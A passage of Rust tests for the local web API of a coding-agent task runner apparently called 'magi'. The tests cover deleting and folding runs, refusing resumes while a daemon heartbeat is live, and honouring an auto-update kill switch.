12125        write_run(&fx.runs(), run_id, RunStatus::Merged);
12126        q.put(&mut t1).expect("put t1");
12127
12128        // Delete by short id
12129        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12130        assert_eq!(res.status, 204);
12131        assert!(res.body.is_empty(), "204 No Content has no body");
12132        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12133        assert!(
12134            fx.runs().join(run_id).exists(),
12135            "run directory must not be deleted when its task is deleted"
12136        );
12137
12138        // 2. A task a live daemon is running is refused with 409.
12139        let mut t2 = Task::new(
12140            "Task 2".to_owned(),
12141            "Instruction 2".to_owned(),
12142            PathBuf::from("/repo"),
12143            Source::Human,
12144        );
12145        t2.status = TaskStatus::Running;
12146        q.put(&mut t2).expect("put t2");
12147        let mut beat = crate::daemon::Status::new();
12148        beat.current = vec![crate::daemon::Current {
12149            task: t2.id.clone(),
12150            run: "20260901-000000-r222".to_owned(),
12151        }];
12152        beat.updated_at = jiff::Timestamp::now();
12153        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12154            .expect("publish a heartbeat");
12155        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12156        assert_eq!(res.status, 409);
12157        assert!(
12158            res.json()["error"]
12159                .as_str()
12160                .unwrap()
12161                .contains("live daemon")
12162        );
12163        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12164
12165        // 3. The same `running` status and an orphaned lock, with no daemon
12166        // behind either, is a leftover and deletable. Before this the phone
12167        // refused it for good: the status never changes on its own and
12168        // nothing drops a lock whose process is gone.
12169        // The daemon is killed: the file stays, the heartbeat stops.
12170        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12171        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12172            .expect("leave a stale heartbeat");
12173        let mut t3 = Task::new(
12174            "Task 3".to_owned(),
12175            "Instruction 3".to_owned(),
12176            PathBuf::from("/repo"),
12177            Source::Human,
12178        );
12179        t3.status = TaskStatus::Running;
12180        q.put(&mut t3).expect("put t3");
12181        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12182        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12183        assert_eq!(res.status, 204);
12184        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12185        assert!(
12186            q.claim(&t3.id).is_ok(),
12187            "the stale lock went with it, so the id is claimable again"
12188        );
12189
12190        // 4. Missing id returns 404
12191        let res = fx.delete("/api/queue/nonexistent").await;
12192        assert_eq!(res.status, 404);
12193    }
12194
12195    #[tokio::test]
12196    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12197        let fx = Fixture::start().await;
12198        let runs = fx.runs();
12199
12200        // 1. Finished and folded run can be deleted along with artifacts
12201        let run_id = "20260901-000000-fold";
12202        let mut state = RunState::new(
12203            PathBuf::from("/repo"),
12204            "main".to_owned(),
12205            "abc".to_owned(),
12206            "instruction".to_owned(),
12207            Config::default(),
12208        );
12209        state.id = run_id.to_owned();
12210        state.status = RunStatus::Merged;
12211        state.candidates.push(crate::run::Candidate {
12212            index: 0,
12213            label: 'A',
12214            agent: "a".to_owned(),
12215            branch: "b".to_owned(),
12216            worktree: PathBuf::from("/w"),
12217            summary: String::new(),
12218            stat: String::new(),
12219            files: 1,
12220            commits: 1,
12221            empty: false,
12222            failed: None,
12223            verified_noop: None,
12224            duration_ms: 0,
12225            folded: true,
12226        });
12227        let dir = runs.join(run_id);
12228        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12229        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12230            .expect("write artifact");
12231        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12232            .expect("write run.json");
12233
12234        // Delete by short id
12235        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12236        assert_eq!(res.status, 204);
12237        assert!(res.body.is_empty(), "204 has no body");
12238        assert!(!dir.exists(), "run directory and artifacts must be deleted");
12239
12240        // 2. A run a live daemon is working on is refused with 409. The
12241        // heartbeat is what makes it refusable: an unfinished run with no
12242        // daemon behind it is a leftover from a killed process, and case 1
12243        // above would otherwise be impossible to tell apart from this one.
12244        let run_running = "20260901-000000-rung";
12245        write_run(&runs, run_running, RunStatus::Prep);
12246        let mut beat = crate::daemon::Status::new();
12247        beat.current = vec![crate::daemon::Current {
12248            task: "20260901-000000-task".to_owned(),
12249            run: run_running.to_owned(),
12250        }];
12251        beat.updated_at = jiff::Timestamp::now();
12252        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12253            .expect("publish a heartbeat");
12254        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12255        assert_eq!(res.status, 409);
12256        assert!(
12257            res.json()["error"]
12258                .as_str()
12259                .unwrap()
12260                .contains("live daemon"),
12261            "the refusal must say who is holding it"
12262        );
12263        assert!(
12264            runs.join(run_running).exists(),
12265            "a run in flight keeps its directory"
12266        );
12267
12268        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
12269        let run_unfolded = "20260901-000000-unfd";
12270        let mut state2 = RunState::new(
12271            PathBuf::from("/repo"),
12272            "main".to_owned(),
12273            "abc".to_owned(),
12274            "instruction".to_owned(),
12275            Config::default(),
12276        );
12277        state2.id = run_unfolded.to_owned();
12278        state2.status = RunStatus::Ready;
12279        state2.candidates.push(crate::run::Candidate {
12280            index: 0,
12281            label: 'A',
12282            agent: "a".to_owned(),
12283            branch: "b".to_owned(),
12284            worktree: PathBuf::from("/w"),
12285            summary: String::new(),
12286            stat: String::new(),
12287            files: 1,
12288            commits: 1,
12289            empty: false,
12290            failed: None,
12291            verified_noop: None,
12292            duration_ms: 0,
12293            folded: false,
12294        });
12295        let dir2 = runs.join(run_unfolded);
12296        std::fs::create_dir_all(&dir2).expect("create dir2");
12297        std::fs::write(
12298            dir2.join("run.json"),
12299            serde_json::to_string(&state2).unwrap(),
12300        )
12301        .expect("write run.json");
12302
12303        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12304        assert_eq!(res.status, 409);
12305        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12306        assert!(dir2.exists(), "unfolded run directory is kept");
12307
12308        // 4. Missing id returns 404
12309        let res = fx.delete("/api/runs/nonexistent").await;
12310        assert_eq!(res.status, 404);
12311    }
12312
12313    /// The queue tiles on the Stats tab must render even on a home with no
12314    /// runs at all: queue state is not derived from run history, so hiding
12315    /// the whole dashboard body behind "no runs yet" would drop the one
12316    /// thing this tab promises unconditionally (queued/running/held/done).
12317    /// A DOM-level test would need a browser this suite does not have, so
12318    /// this pins the same invariant textually: `renderStatsQueue` is called
12319    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
12320    /// block that gates the run-derived panels.
12321    #[test]
12322    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12323        let start = APP_JS
12324            .find("function renderStats() {")
12325            .expect("renderStats");
12326        let end = start
12327            + APP_JS[start..]
12328                .find("function statsTile(")
12329                .expect("the next top-level function");
12330        let body = &APP_JS[start..end];
12331
12332        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12333        let gate_end = gate_start
12334            + body[gate_start..]
12335                .find("}\n  renderStatsQueue")
12336                .expect("the gate's own closing brace, right before the unconditional call");
12337        let gated = &body[gate_start..gate_end];
12338
12339        assert_eq!(
12340            body.matches("renderStatsQueue(").count(),
12341            1,
12342            "renderStats must call renderStatsQueue exactly once: {body}"
12343        );
12344        assert!(
12345            !gated.contains("renderStatsQueue"),
12346            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12347             run-derived panels on an empty run history - the queue panel has to render \
12348             regardless: {gated}"
12349        );
12350    }
12351
12352    #[test]
12353    fn web_ui_delete_contract_in_front_end() {
12354        // 1. API block has both delete endpoints
12355        assert!(APP_JS.contains("deleteRun:"));
12356        assert!(APP_JS.contains("deleteTask:"));
12357
12358        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
12359        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12360            ..APP_JS.find("function renderRuns").unwrap()];
12361        assert!(!run_cards_slice.to_lowercase().contains("delete"));
12362
12363        // 3. Run detail has delete entry and reasons
12364        assert!(APP_JS.contains("renderRunDelete"));
12365        assert!(APP_JS.contains("runDeleteReason"));
12366        assert!(APP_JS.contains("magi fold"));
12367        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12368
12369        // 4. Two-step delete arming and focus on Cancel
12370        assert!(APP_JS.contains("cancel.focus"));
12371        assert!(APP_JS.contains("armedRunDelete"));
12372        assert!(APP_JS.contains("renderTaskDeleteBox"));
12373        assert!(APP_JS.contains("armed${cap(key)}"));
12374
12375        // 5. Running task has disabled delete
12376        assert!(APP_JS.contains("disabled: status === \"running\""));
12377    }
12378
12379    /// Every element a run card's updater reaches for must be in the `refs`
12380    /// the builder handed it.
12381    ///
12382    /// `createRunCard` builds its elements, appends them to the card, and then
12383    /// lists them again in `row.refs`. That second list is the one the updater
12384    /// uses, and nothing connects the two - an element can be built, appended
12385    /// and rendered, and still be missing from `refs`. `superseded` was, for
12386    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
12387    /// exception took `syncList` with it, and the deck showed
12388    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
12389    /// line is computed before the cards, which is why the failure looked like
12390    /// a server that had lost its runs rather than a front end that had
12391    /// stopped rendering them.
12392    ///
12393    /// A `cargo test` cannot execute the front end, so this reads the two
12394    /// halves out of the source and compares them as sets. It is not a check
12395    /// on the wording of either list: adding an element, renaming one, or
12396    /// reordering them all keeps this passing, and only using one the builder
12397    /// never published fails it.
12398    #[test]
12399    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12400        let build = APP_JS
12401            .find("function createRunCard")
12402            .expect("createRunCard exists");
12403        let update = APP_JS
12404            .find("function updateRunCard")
12405            .expect("updateRunCard exists");
12406        let end = APP_JS
12407            .find("function renderRuns")
12408            .expect("renderRuns exists");
12409
12410        // The builder's published set: the object literal assigned to `refs`.
12411        let builder = &APP_JS[build..update];
12412        let open = builder.find("refs = {").expect("createRunCard sets refs");
12413        let literal = &builder[open + "refs = {".len()..];
12414        let close = literal.find('}').expect("the refs literal is closed");
12415        let published: HashSet<&str> = literal[..close]
12416            .split(',')
12417            // `name` and `name: value` both bind `name`.
12418            .filter_map(|entry| entry.split(':').next())
12419            .map(str::trim)
12420            .filter(|name| !name.is_empty())
12421            .collect();
12422        assert!(
12423            published.len() > 5,
12424            "the refs literal did not parse into names: {published:?}"
12425        );
12426
12427        // What the updaters reach for: every `r.<name>`, where `r` is the
12428        // `const r = row.refs` alias both functions open with.
12429        let mut used: Vec<&str> = Vec::new();
12430        let updaters = &APP_JS[update..end];
12431        for (at, _) in updaters.match_indices("r.") {
12432            // `r` must be the whole identifier, not the tail of another one
12433            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
12434            let before = updaters[..at].chars().next_back();
12435            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12436                continue;
12437            }
12438            let rest = &updaters[at + 2..];
12439            let len = rest
12440                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12441                .unwrap_or(rest.len());
12442            if len > 0 {
12443                used.push(&rest[..len]);
12444            }
12445        }
12446        assert!(
12447            used.len() > 5,
12448            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12449        );
12450
12451        let missing: Vec<&str> = used
12452            .iter()
12453            .copied()
12454            .filter(|name| !published.contains(name))
12455            .collect();
12456        assert!(
12457            missing.is_empty(),
12458            "a run card's updater reaches for {missing:?}, which `createRunCard` \
12459             never put in `refs` - every card will throw and the list will \
12460             render empty under a count line that says otherwise. Published: \
12461             {published:?}"
12462        );
12463    }
12464
12465    #[tokio::test]
12466    async fn folding_from_the_phone_reports_what_it_removed() {
12467        let fx = Fixture::start().await;
12468        let runs = fx.runs();
12469
12470        // A run with no candidates has nothing to fold, which is a 200 with an
12471        // honest count rather than an error: the operator asked for the trees
12472        // to be gone and they are.
12473        let id = "20260901-000000-fold";
12474        write_run(&runs, id, RunStatus::Stalled);
12475        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12476        assert_eq!(res.status, 200);
12477        assert_eq!(res.json()["removed_count"], 0);
12478        assert_eq!(res.json()["run"], id);
12479        assert!(
12480            runs.join(id).exists(),
12481            "a fold keeps the run's record; only the worktrees go"
12482        );
12483    }
12484
12485    #[tokio::test]
12486    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12487        let fx = Fixture::start().await;
12488        let runs = fx.runs();
12489        let wt = fx.home.path().join("wt").join("magi").join("dead");
12490        let id = "20260901-000000-dead";
12491        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12492        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12493        std::fs::create_dir_all(&wt).expect("worktree dir");
12494
12495        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12496        assert_eq!(res.status, 200, "{}", res.body);
12497        assert!(
12498            res.json()["removed_count"].as_u64().unwrap() > 0,
12499            "the worktree this build could not read a state for still went"
12500        );
12501        assert!(
12502            !runs.join(id).exists(),
12503            "an unreadable run has no candidate list to fold selectively, so \
12504             the whole record goes - same as `magi fold` on the CLI"
12505        );
12506    }
12507
12508    #[tokio::test]
12509    async fn deleting_an_unreadable_run_removes_it_wholesale() {
12510        let fx = Fixture::start().await;
12511        let runs = fx.runs();
12512        let wt = fx.home.path().join("wt").join("magi").join("gone");
12513        let id = "20260901-000000-gone";
12514        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12515        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12516        std::fs::create_dir_all(&wt).expect("worktree dir");
12517
12518        let res = fx.delete(&format!("/api/runs/{id}")).await;
12519        assert_eq!(res.status, 204, "{}", res.body);
12520        assert!(!runs.join(id).exists(), "the broken record is gone");
12521        assert!(!wt.exists(), "its worktree is gone too");
12522    }
12523
12524    #[tokio::test]
12525    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12526        let fx = Fixture::start().await;
12527        let runs = fx.runs();
12528        let id = "20260901-000000-live";
12529        write_run(&runs, id, RunStatus::Implementing);
12530
12531        let mut beat = crate::daemon::Status::new();
12532        beat.current = vec![crate::daemon::Current {
12533            task: "20260901-000000-task".to_owned(),
12534            run: id.to_owned(),
12535        }];
12536        beat.updated_at = jiff::Timestamp::now();
12537        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12538            .expect("publish a heartbeat");
12539
12540        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12541        assert_eq!(res.status, 409);
12542        assert!(
12543            res.json()["error"]
12544                .as_str()
12545                .unwrap()
12546                .contains("live daemon"),
12547            "folding under a running agent would pull its worktree away"
12548        );
12549    }
12550
12551    #[tokio::test]
12552    async fn fold_merged_requires_a_pr_url() {
12553        let fx = Fixture::start().await;
12554        let runs = fx.runs();
12555        let id = "20260901-000000-nourl";
12556        write_run(&runs, id, RunStatus::Blocked);
12557
12558        let res = fx
12559            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12560            .await;
12561        assert_eq!(res.status, 400, "{}", res.body);
12562
12563        let blank = fx
12564            .post(
12565                &format!("/api/runs/{id}/fold-merged"),
12566                Some(r#"{"pr_url":"   "}"#),
12567            )
12568            .await;
12569        assert_eq!(blank.status, 400, "{}", blank.body);
12570    }
12571
12572    #[tokio::test]
12573    async fn fold_merged_is_404_for_an_unknown_run() {
12574        let fx = Fixture::start().await;
12575        let res = fx
12576            .post(
12577                "/api/runs/nosuchrun/fold-merged",
12578                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12579            )
12580            .await;
12581        assert_eq!(res.status, 404, "{}", res.body);
12582    }
12583
12584    #[tokio::test]
12585    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12586        let fx = Fixture::start().await;
12587        let runs = fx.runs();
12588        let id = "20260901-000000-livemerge";
12589        write_run(&runs, id, RunStatus::Blocked);
12590
12591        let mut beat = crate::daemon::Status::new();
12592        beat.current = vec![crate::daemon::Current {
12593            task: "20260901-000000-task".to_owned(),
12594            run: id.to_owned(),
12595        }];
12596        beat.updated_at = jiff::Timestamp::now();
12597        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12598            .expect("publish a heartbeat");
12599
12600        let res = fx
12601            .post(
12602                &format!("/api/runs/{id}/fold-merged"),
12603                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12604            )
12605            .await;
12606        assert_eq!(res.status, 409, "{}", res.body);
12607        assert!(
12608            res.json()["error"]
12609                .as_str()
12610                .unwrap()
12611                .contains("live daemon"),
12612            "correcting a run's merge underneath a running agent would race \
12613             whatever it is doing to the same `status`/`merge` fields"
12614        );
12615    }
12616
12617    /// A pull request `gh` cannot even ask about (no such remote, no such
12618    /// repository) must never be recorded as a merge on a guess - the same
12619    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
12620    /// command line, reached here through the phone route instead.
12621    #[tokio::test]
12622    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12623        let fx = Fixture::start().await;
12624        let runs = fx.runs();
12625        let id = "20260901-000000-unconfirmed";
12626        write_run(&runs, id, RunStatus::Blocked);
12627
12628        let res = fx
12629            .post(
12630                &format!("/api/runs/{id}/fold-merged"),
12631                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12632            )
12633            .await;
12634        assert_eq!(res.status, 400, "{}", res.body);
12635        assert_eq!(
12636            read_run(&runs, id).unwrap().status,
12637            RunStatus::Blocked,
12638            "a pull request that could not be confirmed merged must leave \
12639             the run exactly where it was"
12640        );
12641    }
12642
12643    #[tokio::test]
12644    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12645        let fx = Fixture::start().await;
12646        let runs = fx.runs();
12647
12648        // Only a finished run and a failed one. An *interrupted* run - a
12649        // parked one, or one whose daemon was killed mid-node - is the case
12650        // resuming exists for: run 4043 sat at `reviewing` with the deck
12651        // saying it could not be resumed, which was the one state where
12652        // resuming was the only sensible answer.
12653        for (status, word) in [
12654            (RunStatus::Merged, "merged"),
12655            (RunStatus::Ready, "ready"),
12656            (RunStatus::Failed, "failed"),
12657        ] {
12658            let id = format!("20260901-000000-{}", &word[..4]);
12659            write_run(&runs, &id, status);
12660            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12661            assert_eq!(res.status, 409, "{word} must not be resumable");
12662            let err = res.json()["error"].as_str().unwrap().to_owned();
12663            assert!(err.contains(word), "the refusal names the status: {err}");
12664        }
12665
12666        // And an interrupted run is accepted: 202, with the resume running in
12667        // the background. `Runner::resume` fails immediately here - the
12668        // fixture's run points at a repository that does not exist - which is
12669        // the point: the handler must not wait for it to find out.
12670        let mid = "20260901-000000-midf";
12671        write_run(&runs, mid, RunStatus::Reviewing);
12672        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12673        assert_eq!(res.status, 202, "an interrupted run is resumable");
12674    }
12675
12676    #[tokio::test]
12677    async fn resume_is_refused_while_the_loop_is_running() {
12678        let fx = Fixture::start().await;
12679        let runs = fx.runs();
12680        let stalled = "20260901-000000-stal";
12681        write_run(&runs, stalled, RunStatus::Stalled);
12682
12683        // The loop is busy with a *different* run, and that is still a
12684        // refusal: a manual resume must never race whatever the loop itself
12685        // is already driving, whether that is one run or several.
12686        let mut beat = crate::daemon::Status::new();
12687        beat.current = vec![crate::daemon::Current {
12688            task: "20260901-000000-task".to_owned(),
12689            run: "20260901-000000-othr".to_owned(),
12690        }];
12691        beat.updated_at = jiff::Timestamp::now();
12692        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12693            .expect("publish a heartbeat");
12694
12695        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12696        assert_eq!(res.status, 409);
12697        let err = res.json()["error"].as_str().unwrap().to_owned();
12698        assert!(err.contains("othr"), "it names what the loop is on: {err}");
12699        assert!(err.contains("stop it first"), "{err}");
12700    }
12701
12702    #[test]
12703    fn a_run_cannot_be_resumed_twice_at_once() {
12704        let home = TempDir::new().expect("temp home");
12705        let ui = Ui::new(
12706            Queue::at(home.path().join("queue")),
12707            Questions::at(home.path().join("questions")),
12708            Talks::at(home.path().join("talks")),
12709            home.path().join("runs"),
12710            home.path().to_path_buf(),
12711            PathBuf::from("/repo"),
12712        )
12713        .with_worktrees_root(home.path().join("wt"));
12714        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12715        let again = ui.begin_resume("20260901-000000-once");
12716        assert!(again.is_err(), "a second tap must not start a second graph");
12717        drop(first);
12718        assert!(
12719            ui.begin_resume("20260901-000000-once").is_ok(),
12720            "and the claim is released when the attempt ends"
12721        );
12722    }
12723
12724    #[test]
12725    fn talk_thinking_tracks_only_its_held_turn_claim() {
12726        let home = TempDir::new().expect("temp home");
12727        let ui = Ui::new(
12728            Queue::at(home.path().join("queue")),
12729            Questions::at(home.path().join("questions")),
12730            Talks::at(home.path().join("talks")),
12731            home.path().join("runs"),
12732            home.path().to_path_buf(),
12733            PathBuf::from("/repo"),
12734        )
12735        .with_worktrees_root(home.path().join("wt"));
12736        let id = "20260901-000000-once";
12737
12738        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12739        let turn = ui.begin_talk_turn(id).expect("claim turn");
12740        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12741        assert!(
12742            !ui.is_thinking("20260901-000000-other"),
12743            "one talk's turn does not make another talk busy"
12744        );
12745        drop(turn);
12746        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12747    }
12748
12749    #[tokio::test]
12750    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12751        let fx = Fixture::start().await;
12752        // Somebody else's `magi serve` owns the queue. Replacing this binary
12753        // would leave that process running an old one against the same
12754        // claims, which is worse than refusing.
12755        let mut beat = crate::daemon::Status::new();
12756        beat.pid = 4321;
12757        beat.updated_at = jiff::Timestamp::now();
12758        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12759            .expect("publish a heartbeat");
12760
12761        let res = fx.post("/api/upgrade", None).await;
12762        assert_eq!(res.status, 409);
12763        let err = res.json()["error"].as_str().unwrap().to_owned();
12764        assert!(err.contains("4321"), "the refusal names the owner: {err}");
12765        assert!(err.contains("old one against the same queue"), "{err}");
12766    }
12767
12768    /// [`should_spawn_recheck`] must refuse for the same two reasons
12769    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
12770    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
12771    /// Purely a predicate over config and the environment - no network, no
12772    /// disk, no runtime - so unlike the fixture-based tests around it this
12773    /// one needs neither.
12774    #[test]
12775    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12776        assert!(!should_spawn_recheck(&crate::config::Update {
12777            mode: UpdateMode::Off,
12778            interval: None,
12779        }));
12780
12781        // SAFETY: single-threaded as far as this variable goes, the same
12782        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
12783        unsafe {
12784            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12785        }
12786        let killed = should_spawn_recheck(&crate::config::Update {
12787            mode: UpdateMode::Notify,
12788            interval: None,
12789        });
12790        unsafe {
12791            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12792        }
12793        assert!(
12794            !killed,
12795            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12796             one-time startup check"
12797        );
12798
12799        assert!(should_spawn_recheck(&crate::config::Update {
12800            mode: UpdateMode::Notify,
12801            interval: None,
12802        }));
12803    }
12804
12805    /// [`recheck_poll_period`] must track a configured `[update] interval`
12806    /// shorter than its own default ceiling - a fixed sleep here would leave
12807    /// an operator's short interval waiting on the next wake-up instead of on
12808    /// `should_check`, which is the same bug this whole task exists to fix,
12809    /// just one level down.
12810    #[test]
12811    fn recheck_poll_period_tracks_a_short_configured_interval() {
12812        let short = crate::config::Update {
12813            mode: UpdateMode::Notify,
12814            interval: Some("1m".to_owned()),
12815        };
12816        let period = recheck_poll_period(&short);
12817        assert!(
12818            period <= Duration::from_secs(30),
12819            "a one-minute interval must wake the task far sooner than the \
12820             default ceiling, or the deck would not notice within the \
12821             interval the operator configured: got {period:?}"
12822        );
12823
12824        let default = crate::config::Update {
12825            mode: UpdateMode::Notify,
12826            interval: None,
12827        };
12828        assert_eq!(
12829            recheck_poll_period(&default),
12830            UPDATE_RECHECK_POLL_MAX,
12831            "the default day-long interval should poll at the (capped) \
12832             ceiling rather than needlessly often"
12833        );
12834    }
12835
12836    /// [`update_recheck_due`] must not repeat a check made moments ago, the
12837    /// same throttle `updater::Checker::should_check` already gives the
12838    /// CLI's notify mode. Built over an explicit state file via
12839    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
12840    /// write the operator's real `last_update_check.json` - and therefore
12841    /// cannot flake on whatever that file happens to say on the machine
12842    /// running the test.
12843    #[test]
12844    fn recheck_skips_the_network_before_the_interval_elapses() {
12845        let dir = TempDir::new().expect("temp dir");
12846        let path = dir.path().join("state.json");
12847        let state = kaishin::UpdateCheckState {
12848            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12849            last_known_latest: None,
12850            last_known_url: None,
12851        };
12852        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12853
12854        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12855        assert!(
12856            !update_recheck_due(&checker, None),
12857            "a check made moments ago must not be repeated before the \
12858             configured interval elapses"
12859        );
12860    }
12861
12862    /// An upgrade this deck already started must not be raced by a recheck
12863    /// that discovers a newer release mid-install - regardless of what
12864    /// `should_check` says, which is why the state file here is missing
12865    /// entirely: read alone, that alone would answer "never checked, go
12866    /// ahead".
12867    #[test]
12868    fn recheck_defers_to_an_upgrade_already_in_flight() {
12869        let dir = TempDir::new().expect("temp dir");
12870        let path = dir.path().join("state.json");
12871        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12872        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12873
12874        assert!(
12875            !update_recheck_due(&checker, Some(&progress)),
12876            "a recheck must not run while an upgrade this deck started is \
12877             still moving"
12878        );
12879    }
12880
12881    #[tokio::test]
12882    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12883        // The same env var the background check honours (`disabled_by_env`)
12884        // must also stop a button press before it ever calls
12885        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
12886        // means "never contact GitHub from this process", and a tap on the
12887        // upgrade button must not override that any more than a broken
12888        // `magi.toml` may. Left unset, this fixture's default config would
12889        // otherwise reach a real, unauthenticated GitHub call.
12890        //
12891        // SAFETY: single-threaded as far as this variable goes - nothing else
12892        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
12893        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
12894        unsafe {
12895            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12896        }
12897        let fx = Fixture::start().await;
12898        let res = fx.post("/api/upgrade", None).await;
12899        unsafe {
12900            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12901        }
12902        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12903        let body = res.json();
12904        assert!(body["to"].is_null(), "there was no release to move to");
12905        assert!(body["parked"].is_null(), "and nothing was parked");
12906        assert!(
12907            body["detail"]
12908                .as_str()
12909                .unwrap()
12910                .contains("disabled by MAGI_NO_AUTOUPDATE"),
12911            "{body:?}"
12912        );
12913    }
12914
12915    #[tokio::test]
12916    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12917        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
12918        // and the route answers from its own logic.
12919        //
12920        // This test used to lean on the fixture's placeholder repo failing
12921        // config discovery, which left `mode = "notify"` - and a live,
12922        // unauthenticated call to the GitHub releases API inside a unit test.
12923        // GitHub allows 60 of those an hour per address, so the suite went red
12924        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
12925        // long as somebody kept re-running it: every attempt spent another
12926        // request. Six reruns across four pull requests were charged to that
12927        // before it was read as a rate limit rather than a flake.
12928        //
12929        // What the assertion is about is the "already current" branch, which
12930        // is reached by there being no newer release *or* nowhere to look. The
12931        // second one needs no network and cannot be rate limited.
12932        let repo = TempDir::new().expect("repo dir");
12933        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12934            .expect("write magi.toml");
12935        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12936
12937        // It must answer 200 and leave the process alone: restarting for an
12938        // upgrade that did not happen parks the run in flight and drops every
12939        // connection to pay for nothing. A probe against a deck already on the
12940        // newest build did exactly that, which is how this case got its own
12941        // branch.
12942        let res = fx.post("/api/upgrade", None).await;
12943        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12944        let body = res.json();
12945        assert!(body["to"].is_null(), "there was no release to move to");
12946        assert!(body["parked"].is_null(), "and nothing was parked");
12947        assert!(
12948            body["detail"]
12949                .as_str()
12950                .unwrap()
12951                .contains("nothing restarted"),
12952            "{body:?}"
12953        );
12954    }
12955
12956    #[tokio::test]
12957    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12958        // `mode = "off"` for the same reason as the test above: a default
12959        // fixture repo falls back to `mode = "notify"`, which would make this
12960        // route's new `update` field a live, unauthenticated GitHub call on
12961        // every assertion in this suite that happens to hit `/api/health`.
12962        let repo = TempDir::new().expect("repo dir");
12963        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
